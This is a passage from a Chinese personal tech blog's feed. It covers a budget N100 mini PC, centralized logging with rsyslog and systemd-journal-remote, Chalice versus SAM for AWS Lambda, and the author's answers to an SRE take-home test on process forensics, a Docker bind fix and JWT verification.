的理由"></a>选择 Mini PC 的理由</h2><h3 id="Mac-Mini-M2-的诱惑"><a href="#Mac-Mini-M2-的诱惑" class="headerlink" title="Mac Mini M2 的诱惑"></a>Mac Mini M2 的诱惑</h3><p>有趣的是，这次购买正好碰上了 <strong>Mac Mini M4</strong> 发售。因为各种折扣补贴，当时这台设备的价格非常美好，只要 <strong>3000 出头</strong>。有同事也推荐我直接买 Mac Mini，毕竟性能和生态都很优秀，而且这好像还是第一次改了模具，整个机型变得比上一版小巧了很多很多。</p><p>我确实犹豫了一下，但仔细思考后，还是选择了这台便宜了两千多块的 Mini PC。原因很简单：</p><ol><li><strong>预算有限</strong>：800 元 vs 3000 元，差价不是一星半点。即使 Mac Mini 性能更好，但对我来说这些性能是溢出的，完全用不到。</li><li><strong>实际需求</strong>：我的工作主要依赖 <strong>SSH</strong> 和 <strong>浏览器</strong>，对性能的要求并不高。而这台 Mini PC 在省钱的同时，已经能很好地满足这些需求。</li><li><strong>可玩性更高</strong>：用 Debian 和 XFCE 环境，比起 macOS，更符合我的习惯，也更自由可控。</li></ol><p>好吧，我摊牌了，其实原因就是第一个，其他两个都是搭头。</p><p>所以，尽管 Mac Mini M4 也是性价比很高的设备，但对比我的实际需求，这台 800 元的 Mini PC 显然是更务实的选择。</p><h2 id="办公和远程工作的便利性"><a href="#办公和远程工作的便利性" class="headerlink" title="办公和远程工作的便利性"></a>办公和远程工作的便利性</h2><p>目前，这台 Mini PC 是我主要的办公设备，而且我设置了它<strong>每天不关机</strong>，一直保持在线状态。在家时，如果需要处理工作，只要通过远程工具直接登录它，就可以快速进入工作状态，非常方便。</p><p>同时，得益于低功耗特性，而且的确负载也轻，它 24 小时开机几乎感觉不到风扇的噪音。这样的小型设备，不仅可以满足日常办公需求，还能成为远程协作的可靠节点。</p><h2 id="低功耗与未来的潜力"><a href="#低功耗与未来的潜力" class="headerlink" title="低功耗与未来的潜力"></a>低功耗与未来的潜力</h2><p>这台 Mini PC 的另一个显著优势是功耗极低。Intel N100 平台在缺省状态下只跑 <strong>0.8 GHz</strong>，风扇几乎听不到声音。即使长时间开机运行，耗电和发热都非常可控。偶尔需要睿频到 <strong>3.4 GHz</strong> 时，性能释放也完全够用。</p><p>得益于低功耗、小尺寸的特点，这台电脑即使以后不再用作办公机，也有很多未来用途。我已经有以下几个计划：</p><ul><li><strong>NAS</strong>：搭建一个家庭文件存储和同步服务，继续配合 Syncthing 使用。</li><li><strong>Docker 容器</strong>：托管一些轻量级的服务，比如媒体服务器、工具脚本等。</li><li><strong>远程访问节点</strong>：利用 ZeroTier 和 Tailscale，随时随地访问家中设备。</li></ul><p>对比起高功耗的传统台式机，这样的小型设备更适合用作家庭服务器，长期运行也不用担心电费问题。</p><h2 id="关于消费降级的感慨"><a href="#关于消费降级的感慨" class="headerlink" title="关于消费降级的感慨"></a>关于消费降级的感慨</h2><p>老实说，我选择这台 Mini PC，主要还是因为<strong>个人经济状况的限制</strong>。最近手头确实有点紧，所以只能选择性价比最高的方案。以前可能会考虑更高端的设备，比如 Mac Mini，但现在不得不降低预算，选择更务实的解决方案。</p><p>不过，虽然是消费降级，但我并没有感到体验上的妥协。反而在科技发展的红利下，我用 800 块就买到了一台能够胜任办公、还能支持未来扩展的 Mini PC。放在几年前，这样的设备简直是想都不敢想。</p><p>总的来说，这次的购买让我非常满意。当然，为了避免“带货”嫌疑，就不提具体品牌和型号以及购买的平台了。不过，如果你也在寻找一台高性价比的办公电脑，这种 Mini PC 确实值得考虑。</p>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;我用-800-块钱买了台办公用的-Mini-PC&quot;&gt;&lt;a href=&quot;#我用-800-块钱买了台办公用的-Mini-PC&quot; class=&quot;headerlink&quot; title=&quot;我用 800 块钱买了台办公用的 Mini PC&quot;&gt;&lt;/a&gt;我用 800 块钱买了台办公用的 Mini PC&lt;/h1&gt;&lt;p&gt;最近，我花了 800 块钱买了一台 Mini PC，用来办公。刚好这四个月在公司领到的每月 200 块钱电脑补贴，全都花光了。算是“取之于公司，用之于公司”吧，哈哈。&lt;/p&gt;
&lt;p&gt;这次的购买经历不仅让我更深刻地体会到“消费降级”的现实，还让我感受到了科技进步所带来的性价比红利。在预算有限的情况下，这台 Mini PC 不仅完美满足了我的日常需求，还让我对它的未来用途充满期待。接下来，我详细聊聊这次购买的选择过程、使用体验以及相关感悟。&lt;/p&gt;</summary>
    
    
    
    
    <category term="minipc" scheme="https://ming.theyan.gs/tags/minipc/"/>
    
    <category term="Debian" scheme="https://ming.theyan.gs/tags/Debian/"/>
    
    <category term="trixie" scheme="https://ming.theyan.gs/tags/trixie/"/>
    
    <category term="xfce" scheme="https://ming.theyan.gs/tags/xfce/"/>
    
    <category term="N100" scheme="https://ming.theyan.gs/tags/N100/"/>
    
    <category term="Intel" scheme="https://ming.theyan.gs/tags/Intel/"/>
    
    <category term="iwlwifi-so-a0-jf-b0-77.ucode" scheme="https://ming.theyan.gs/tags/iwlwifi-so-a0-jf-b0-77-ucode/"/>
    
  </entry>
  
  <entry>
    <title>centralized logging on Amazon Linux 2023</title>
    <link href="https://ming.theyan.gs/2024/04/centralized-logging/index.html"/>
    <id>https://ming.theyan.gs/2024/04/centralized-logging/index.html</id>
    <published>2024-04-17T12:51:23.000Z</published>
    <updated>2024-04-21T13:42:35.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景介绍"><a href="#背景介绍" class="headerlink" title="背景介绍"></a>背景介绍</h2><p>最近要做个 log server，把所有服务器的系统日志都收上来。我现在的服务器，操作系统有两种：Amazon Linux 2023 和 Ubuntu，但其实 Ubuntu 又有 22.04 和 24.04 两种，所以，其实是一共有三种操作系统。</p><p>好在这三种系统，其缺省跑的日志应用，Amazon Linux 2023 是 <code>systemd-journald</code>，而 Ubuntu(22.04 和 24.04) 都是既跑有 <code>systemd-journald</code>，又跑的有 <code>rsyslogd</code>。这两种日志应用，都是支持集中的日志服务器的，或者很容易支持。但是为什么不就用一套 <code>rsyslogd</code> 的日志服务器呢？毕竟大家都支持 <code>rsyslogd</code> 的。主要是因为 <code>systemd-journald</code> 相对于 <code>rsyslogd</code> 是很新的东西，所以这里也拿出来练练手。</p><span id="more"></span><h2 id="rsyslogd"><a href="#rsyslogd" class="headerlink" title="rsyslogd"></a>rsyslogd</h2><h3 id="server"><a href="#server" class="headerlink" title="server"></a>server</h3><p><code>rsyslog</code> 的 log server 配置还是相当简单的</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/rsyslog.d/remote.conf</span><br><span class="line"><span class="comment"># 新建 /etc/rsyslog.d/remote.conf 文件</span></span><br></pre></td></tr></table></figure><p>加入如下内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">module(load=&quot;imudp&quot;)</span><br><span class="line">input(type=&quot;imudp&quot; port=&quot;514&quot;)</span><br><span class="line">module(load=&quot;imtcp&quot;)</span><br><span class="line">input(type=&quot;imtcp&quot; port=&quot;514&quot;)</span><br><span class="line"></span><br><span class="line">template(name=&quot;RemoteLogsWithHostIPDate&quot; type=&quot;string&quot; string=&quot;/var/log/remote/rsyslog/%fromhost-ip%_%hostname%/%programname%-%$YEAR%-%$MONTH%-%$DAY%.log&quot;)</span><br><span class="line"></span><br><span class="line">if ($fromhost-ip == &quot;127.0.0.1&quot;) then &#123;</span><br><span class="line">    stop</span><br><span class="line">&#125;</span><br><span class="line">*.* action(type=&quot;omfile&quot; dynaFile=&quot;RemoteLogsWithHostIPDate&quot;)</span><br></pre></td></tr></table></figure><p>重启 rsyslogd</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl restart rsyslog</span><br></pre></td></tr></table></figure><h3 id="client"><a href="#client" class="headerlink" title="client"></a>client</h3><p>客户端的配置也相当简单</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/rsyslog.d/99-remote.conf</span><br><span class="line"><span class="comment"># 新建文件：/etc/rsyslog.d/99-remote.conf</span></span><br></pre></td></tr></table></figure><p>写入如下内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*.* @logserver.xxx.xxx:514</span><br><span class="line"># 用 udp 把日志打到前面配好的 rsyslog 日志服务器</span><br><span class="line"># 地址假设是 `logserver.xxx.xxx`</span><br></pre></td></tr></table></figure><p>最后重启 rsyslog</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl restart rsyslog</span><br></pre></td></tr></table></figure><h2 id="systemd-journal-remote"><a href="#systemd-journal-remote" class="headerlink" title="systemd-journal-remote"></a>systemd-journal-remote</h2><h3 id="server-1"><a href="#server-1" class="headerlink" title="server"></a>server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">dnf install systemd-journal-remote</span><br><span class="line"><span class="comment"># install software depended, log server is based on Amazon Linux 2023</span></span><br><span class="line">systemctl edit systemd-journal-remote.service</span><br><span class="line"><span class="comment"># change the configuration of service systemd-journal-remote</span></span><br><span class="line"><span class="comment"># NOTE: must write in the special blank lines</span></span><br><span class="line"><span class="comment"># 注意：必须在指定的空行内输入配置</span></span><br></pre></td></tr></table></figure><p>指定的空行内输入如下内容：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[Service]</span><br><span class="line">ExecStart=</span><br><span class="line">ExecStart=/usr/lib/systemd/systemd-journal-remote --listen-http=-3 --output=/var/log/remote/journal/</span><br><span class="line">LogsDirectory=remote/journal</span><br><span class="line"># 如果 ExecStart 那一行的 --output 参数指定的目录没改的话</span><br><span class="line"># 最后那一行是不需要的</span><br></pre></td></tr></table></figure><p>保存以后，使得</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /etc/systemd/system/systemd-journal-remote.service.d/override.conf</span><br></pre></td></tr></table></figure><p>能看到之前输入的内容即可。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /var/log/remote/journal</span><br><span class="line">systemctl edit systemd-journal-remote.socket</span><br></pre></td></tr></table></figure><p>指定的空行里输入：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[Socket]</span><br><span class="line">ListenStream=</span><br><span class="line">ListenStream=19532</span><br></pre></td></tr></table></figure><p>保存后退出。使得</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /etc/systemd/system/systemd-journal-remote.socket.d/override.conf</span><br></pre></td></tr></table></figure><p>输出的内容正是之前输入的即可。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">systemctl <span class="built_in">enable</span> --now systemd-journal-remote.socket</span><br><span class="line"><span class="comment"># enable and start systemd-journal-remote.socket</span></span><br></pre></td></tr></table></figure><h3 id="client-1"><a href="#client-1" class="headerlink" title="client"></a>client</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">dnf install systemd-journal-remote</span><br><span class="line"><span class="comment"># install software depended</span></span><br><span class="line"><span class="built_in">mkdir</span> /etc/systemd/journal-upload.conf.d/</span><br><span class="line"><span class="built_in">cat</span> &lt;&lt;<span class="string">EOF &gt; /etc/systemd/journal-upload.conf.d/override.conf</span></span><br><span class="line"><span class="string">[Upload]</span></span><br><span class="line"><span class="string">URL=http://logserver.xxx.xxx:19532</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line">systemctl <span class="built_in">enable</span> --now systemd-journal-upload.service</span><br><span class="line"><span class="comment"># enable and start service of systemd-journal-upload</span></span><br></pre></td></tr></table></figure><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="https://idle.nprescott.com/2024/journald-for-centralized-logging.html">https://idle.nprescott.com/2024/journald-for-centralized-logging.html</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;背景介绍&quot;&gt;&lt;a href=&quot;#背景介绍&quot; class=&quot;headerlink&quot; title=&quot;背景介绍&quot;&gt;&lt;/a&gt;背景介绍&lt;/h2&gt;&lt;p&gt;最近要做个 log server，把所有服务器的系统日志都收上来。我现在的服务器，操作系统有两种：Amazon Linux 2023 和 Ubuntu，但其实 Ubuntu 又有 22.04 和 24.04 两种，所以，其实是一共有三种操作系统。&lt;/p&gt;
&lt;p&gt;好在这三种系统，其缺省跑的日志应用，Amazon Linux 2023 是 &lt;code&gt;systemd-journald&lt;/code&gt;，而 Ubuntu(22.04 和 24.04) 都是既跑有 &lt;code&gt;systemd-journald&lt;/code&gt;，又跑的有 &lt;code&gt;rsyslogd&lt;/code&gt;。这两种日志应用，都是支持集中的日志服务器的，或者很容易支持。但是为什么不就用一套 &lt;code&gt;rsyslogd&lt;/code&gt; 的日志服务器呢？毕竟大家都支持 &lt;code&gt;rsyslogd&lt;/code&gt; 的。主要是因为 &lt;code&gt;systemd-journald&lt;/code&gt; 相对于 &lt;code&gt;rsyslogd&lt;/code&gt; 是很新的东西，所以这里也拿出来练练手。&lt;/p&gt;</summary>
    
    
    
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="Amazon Linux 2023" scheme="https://ming.theyan.gs/tags/Amazon-Linux-2023/"/>
    
    <category term="Ubuntu 24.04" scheme="https://ming.theyan.gs/tags/Ubuntu-24-04/"/>
    
    <category term="rsyslog" scheme="https://ming.theyan.gs/tags/rsyslog/"/>
    
    <category term="systemd-journal-remote" scheme="https://ming.theyan.gs/tags/systemd-journal-remote/"/>
    
    <category term="Ubuntu 22.04" scheme="https://ming.theyan.gs/tags/Ubuntu-22-04/"/>
    
    <category term="systemctl" scheme="https://ming.theyan.gs/tags/systemctl/"/>
    
  </entry>
  
  <entry>
    <title>AWS 官方的部署 Python 代码到 Lambda function 上去的两种方法</title>
    <link href="https://ming.theyan.gs/2024/03/AWS%20%E5%AE%98%E6%96%B9%E7%9A%84%E9%83%A8%E7%BD%B2%20Python%20%E4%BB%A3%E7%A0%81%E5%88%B0%20Lambda%20function%20%E4%B8%8A%E5%8E%BB%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E6%B3%95/index.html"/>
    <id>https://ming.theyan.gs/2024/03/AWS%20%E5%AE%98%E6%96%B9%E7%9A%84%E9%83%A8%E7%BD%B2%20Python%20%E4%BB%A3%E7%A0%81%E5%88%B0%20Lambda%20function%20%E4%B8%8A%E5%8E%BB%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E6%B3%95/index.html</id>
    <published>2024-03-08T10:24:41.000Z</published>
    <updated>2024-03-12T15:37:19.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>要把 Python 项目部署到 AWS 的 Lambda function，AWS 官方提供了两种方法：<a href="https://aws.github.io/chalice/">Chalice</a> 和 <a href="https://aws.amazon.com/serverless/sam/">SAM(AWS Serverless Application Model)</a>，当然，其实比较常用的还有第三方的 serverless。</p><span id="more"></span><h2 id="详情"><a href="#详情" class="headerlink" title="详情"></a>详情</h2><h3 id="Chalice"><a href="#Chalice" class="headerlink" title="Chalice"></a>Chalice</h3><p>Chalice 不仅仅是一个部署工具，它还是一个框架，要是用它需要在 Python 代码里 import 它的包，并在代码里需要的地方使用它的方法做一些操作。</p><p>这样才能在用命令 chalice deploy 部署时结合其他配置文件(<code>.chalice/config.json</code> 以及其他需要的 <code>.chalice/policy-xxx.json</code>) 完成部署。</p><p>Chalice 其实应该是调用的 AWS SDK for Python 来实现的，因此它也需要先在本地配置 AWS 的 credentials。</p><h3 id="SAM"><a href="#SAM" class="headerlink" title="SAM"></a>SAM</h3><p>SAM，全称：AWS Serverless Application Model，由名字一看就知道是一个通用的工具，可以用来部署各种语言（比如 Python、Java 和 nodejs）编写的 serverless 应用。</p><p>SAM 则是完全基于 AWS CLI，所以本地需要先安装并配置好 AWS CLI 的环境，让 AWS CLI 能跑起来。</p><p>SAM 的工作原理其实最终是通过在 AWS 上的 cloudformation 里创建 stack 来完成部署的。所以，cloudformation 有的缺点他都有。</p><h2 id="区别"><a href="#区别" class="headerlink" title="区别"></a>区别</h2><ol><li>Chalice 仅适用于 Python 语言，而且对代码的侵入性比较强。但优点是完全使用 AWS SDK，不依赖于 AWS CLI 和 cloudformation(尤其是后者，比较不好用)</li><li>SAM 更加通用，不侵入代码，但缺点是依赖于 AWS CLI 和 cloudformation（主要是后者）</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ul><li>如果是新起的项目，并打算用 Python 开发的，可以考虑选 Chalice</li><li>如果不是用 Python 开发的，肯定不能用 Chalice，大概率选 SAM</li><li>如果是已有的项目，现在要部署到 AWS 的 Lambda function，也最好选 SAM</li></ul><hr><p><em>本文由 <a href="https://ming.theyan.gs/">老杨</a> 原创，转载请注明出处。</em></p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h2&gt;&lt;p&gt;要把 Python 项目部署到 AWS 的 Lambda function，AWS 官方提供了两种方法：&lt;a href=&quot;https://aws.github.io/chalice/&quot;&gt;Chalice&lt;/a&gt; 和 &lt;a href=&quot;https://aws.amazon.com/serverless/sam/&quot;&gt;SAM(AWS Serverless Application Model)&lt;/a&gt;，当然，其实比较常用的还有第三方的 serverless。&lt;/p&gt;</summary>
    
    
    
    
    <category term="AWS" scheme="https://ming.theyan.gs/tags/AWS/"/>
    
    <category term="Chalice" scheme="https://ming.theyan.gs/tags/Chalice/"/>
    
    <category term="SAM" scheme="https://ming.theyan.gs/tags/SAM/"/>
    
    <category term="Python" scheme="https://ming.theyan.gs/tags/Python/"/>
    
    <category term="Lambda" scheme="https://ming.theyan.gs/tags/Lambda/"/>
    
  </entry>
  
  <entry>
    <title>我做的某公司 SRE 职位的面试题</title>
    <link href="https://ming.theyan.gs/2024/02/%E6%88%91%E5%81%9A%E7%9A%84%E6%9F%90%E5%85%AC%E5%8F%B8%20SRE%20%E8%81%8C%E4%BD%8D%E7%9A%84%E9%9D%A2%E8%AF%95%E9%A2%98/index.html"/>
    <id>https://ming.theyan.gs/2024/02/%E6%88%91%E5%81%9A%E7%9A%84%E6%9F%90%E5%85%AC%E5%8F%B8%20SRE%20%E8%81%8C%E4%BD%8D%E7%9A%84%E9%9D%A2%E8%AF%95%E9%A2%98/index.html</id>
    <published>2024-02-13T15:24:31.000Z</published>
    <updated>2024-02-15T12:33:47.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>这是之前有一家公司招 SRE，我投了简历，然后被给了份题让先做一下，于是便有了这篇“水”文。</p><p>当然，最终我并没有拿到这个 offer，最早是说一周内安排面试的，后来又说是这个岗位暂停了。</p><span id="more"></span><h2 id="详情"><a href="#详情" class="headerlink" title="详情"></a>详情</h2><h3 id="第一题"><a href="#第一题" class="headerlink" title="第一题"></a>第一题</h3><p>题目有效时间只有 4 小时，当时没记下来，现在只能凭记忆力大概写一下了。</p><p>大概是系统有个进程在写文件 <code>/tmp/hugelog</code></p><h4 id="第一题第一问"><a href="#第一题第一问" class="headerlink" title="第一题第一问"></a>第一题第一问</h4><p>这一问肯定是要求将其找出来（找到 process id）</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lsof | grep /tmp/hugelog</span><br></pre></td></tr></table></figure><blockquote><p>seeknhide  773                           root    3w      REG              252,3  6887024     655475 &#x2F;tmp&#x2F;hugelog<br>seeknhide  773  802 seeknhide            root    3w      REG              252,3  6887024     655475 &#x2F;tmp&#x2F;hugelog<br>seeknhide  773  804 seeknhide            root    3w      REG              252,3  6887024     655475 &#x2F;tmp&#x2F;hugelog<br>seeknhide  773  805 seeknhide            root    3w      REG              252,3  6887024     655475 &#x2F;tmp&#x2F;hugelog</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps auxww | grep 773</span><br></pre></td></tr></table></figure><blockquote><p>root         773  0.0  0.2 710484  2136 ?        Sl   Jun18   0:22 &#x2F;root&#x2F;challs&#x2F;01_seeknhide&#x2F;seeknhide<br>root        5877  0.0  0.2   6608  2484 pts&#x2F;0    S+   13:53   0:00 grep –color&#x3D;auto 773</p></blockquote><p>so, the process is &#x2F;root&#x2F;challs&#x2F;01_seeknhide&#x2F;seeknhide, process id is: 773</p><h4 id="第一题第二问"><a href="#第一题第二问" class="headerlink" title="第一题第二问"></a>第一题第二问</h4><p>写 <code>/tmp/hugelog</code> 的程序文件已经被删除，但请算出其的 md5 码</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">readlink</span> -f /proc/773/exe</span><br></pre></td></tr></table></figure><blockquote><p>&#x2F;root&#x2F;challs&#x2F;01_seeknhide&#x2F;seeknhide (deleted)</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> /proc/773/exe a</span><br><span class="line"><span class="built_in">md5sum</span> a</span><br></pre></td></tr></table></figure><blockquote><p>eba0e82f5b454a492077c67ab89ae033  a</p></blockquote><p>so the execute file is: &#x2F;root&#x2F;challs&#x2F;01_seeknhide&#x2F;seeknhide, but it was deleted.</p><p>and the md5sum is: eba0e82f5b454a492077c67ab89ae033</p><h4 id="第一题第三问"><a href="#第一题第三问" class="headerlink" title="第一题第三问"></a>第一题第三问</h4><p>将这个 process 杀掉</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">kill</span> 773</span><br></pre></td></tr></table></figure><h3 id="第二题"><a href="#第二题" class="headerlink" title="第二题"></a>第二题</h3><p>有一个 app 代码项目，有代码，有 Dockerfile。</p><h4 id="第二题第一问"><a href="#第二题第一问" class="headerlink" title="第二题第一问"></a>第二题第一问</h4><p>需要 build 并运行一个 docker 容器，其监听主机的 8888 端口，可以用命令 <code>curl http://127.0.0.1:8888</code> 来测试（返回 <code>Hello, World!</code>）。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> app</span><br><span class="line">docker build -t app:latest .</span><br><span class="line">docker run -it -d -p 8888:4657 app:latest</span><br><span class="line">curl http://127.0.0.1:8888</span><br></pre></td></tr></table></figure><blockquote><p>curl: (52) Empty reply from server</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># backup firstly</span></span><br><span class="line"><span class="built_in">cp</span> serve.py serve.py.ori</span><br><span class="line">vim serve.py</span><br><span class="line"><span class="comment"># change from localhost to 0.0.0.0</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">docker build -t app:new .</span><br><span class="line"><span class="comment"># stop and delete the old container</span></span><br><span class="line">docker stop cool_germain</span><br><span class="line">docker <span class="built_in">rm</span> cool_germain</span><br><span class="line"><span class="comment"># then run it by new image</span></span><br><span class="line">docker run -it -d -p 8888:4567 app:new</span><br><span class="line"><span class="comment"># test it</span></span><br><span class="line">curl http://127.0.0.1:8888</span><br></pre></td></tr></table></figure><blockquote><p>Hello, World!</p></blockquote><h4 id="第二题第二问"><a href="#第二题第二问" class="headerlink" title="第二题第二问"></a>第二题第二问</h4><p>做了什么修改以及为什么要做这个修改。</p><p>我的答案是：fix it by binding host from ‘localhot’ to ‘0.0.0.0’</p><h3 id="第三题"><a href="#第三题" class="headerlink" title="第三题"></a>第三题</h3><p>日志文件 jwt.log 里有一些数据纪录，有些是真的，有些是假的，需要找出来真的数据纪录的条数。（有代码的要附上源码）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> jwt</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> hmac</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">secret = <span class="string">&quot;_welcome_to_chaitin_&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">verify_jwt</span>(<span class="params">token</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        header, payload, signature = token.split(<span class="string">&#x27;.&#x27;</span>)</span><br><span class="line">        header_json = base64.urlsafe_b64decode(header + <span class="string">&#x27;===&#x27;</span>).decode()</span><br><span class="line">        payload_json = base64.urlsafe_b64decode(payload + <span class="string">&#x27;===&#x27;</span>).decode()</span><br><span class="line">        message = <span class="string">f&#x27;<span class="subst">&#123;header&#125;</span>.<span class="subst">&#123;payload&#125;</span>&#x27;</span></span><br><span class="line">        secret_bytes = secret.encode()</span><br><span class="line">        message_bytes = message.encode()</span><br><span class="line">        expected_signature = base64.urlsafe_b64encode(hmac.new(secret_bytes, message_bytes, hashlib.sha256).digest()).rstrip(<span class="string">b&#x27;=&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> signature.encode() == expected_signature:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Error verifying JWT: <span class="subst">&#123;e&#125;</span>&quot;</span>, file=sys.stderr)</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">authentic_count = <span class="number">0</span></span><br><span class="line">fake_count = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Script execution started.&quot;</span>)</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;jwt.log&#x27;</span>, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    <span class="keyword">for</span> line <span class="keyword">in</span> file:</span><br><span class="line">        jwt_token = line.strip()</span><br><span class="line">        <span class="keyword">if</span> verify_jwt(jwt_token):</span><br><span class="line">            authentic_count += <span class="number">1</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            fake_count += <span class="number">1</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;Script execution finished.&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Number of authentic JWTs: <span class="subst">&#123;authentic_count&#125;</span>&quot;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f&quot;Number of fake JWTs: <span class="subst">&#123;fake_count&#125;</span>&quot;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 